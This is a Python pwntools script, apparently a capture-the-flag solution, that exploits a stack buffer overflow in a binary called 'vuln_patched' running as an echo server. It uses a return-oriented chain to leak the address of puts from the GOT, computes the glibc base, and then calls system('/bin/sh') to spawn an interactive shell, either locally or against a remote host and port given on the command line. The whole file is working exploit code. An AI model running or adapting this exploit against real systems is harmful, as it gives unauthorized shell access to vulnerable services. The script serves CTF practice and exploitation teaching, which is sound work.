solve.py

#!/usr/bin/env python3

from pwn import *


context.binary = elf = ELF('vuln_patched')
glibc = ELF('libc.so.6', checksec=False)


def get_process():
    if len(sys.argv) == 1:
        return elf.process()

    host, port = sys.argv[1], int(sys.argv[2])
    return remote(host, port)


def main():
    p = get_process()

    offset = 136
    junk = b'A' * offset

    pop_rdi_ret = 0x400913
    puts_got = 0x601018
    puts_plt = 0x400540
    main_addr = 0x400771

    payload  = junk
    payload += p64(pop_rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(main_addr)

    p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
    p.recvline()

    puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
    log.info(f'Leaked puts() address: {hex(puts_addr)}')

    puts_offset = 0x80a30
    glibc_base_addr = puts_addr - puts_offset
    log.info(f'Glibc base address: {hex(glibc_base_addr)}')

    system_offset = 0x4f4e0
    bin_sh_offset = 0x1b40fa

    system_addr = glibc_base_addr + system_offset
    bin_sh_addr = glibc_base_addr + bin_sh_offset

    payload  = junk
    payload += p64(pop_rdi_ret)
    payload += p64(bin_sh_addr)
    payload += p64(pop_rdi_ret + 1)
    payload += p64(system_addr)

    p.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!\n', payload)
    p.recvline()
    p.interactive()


if __name__ == '__main__':
    main()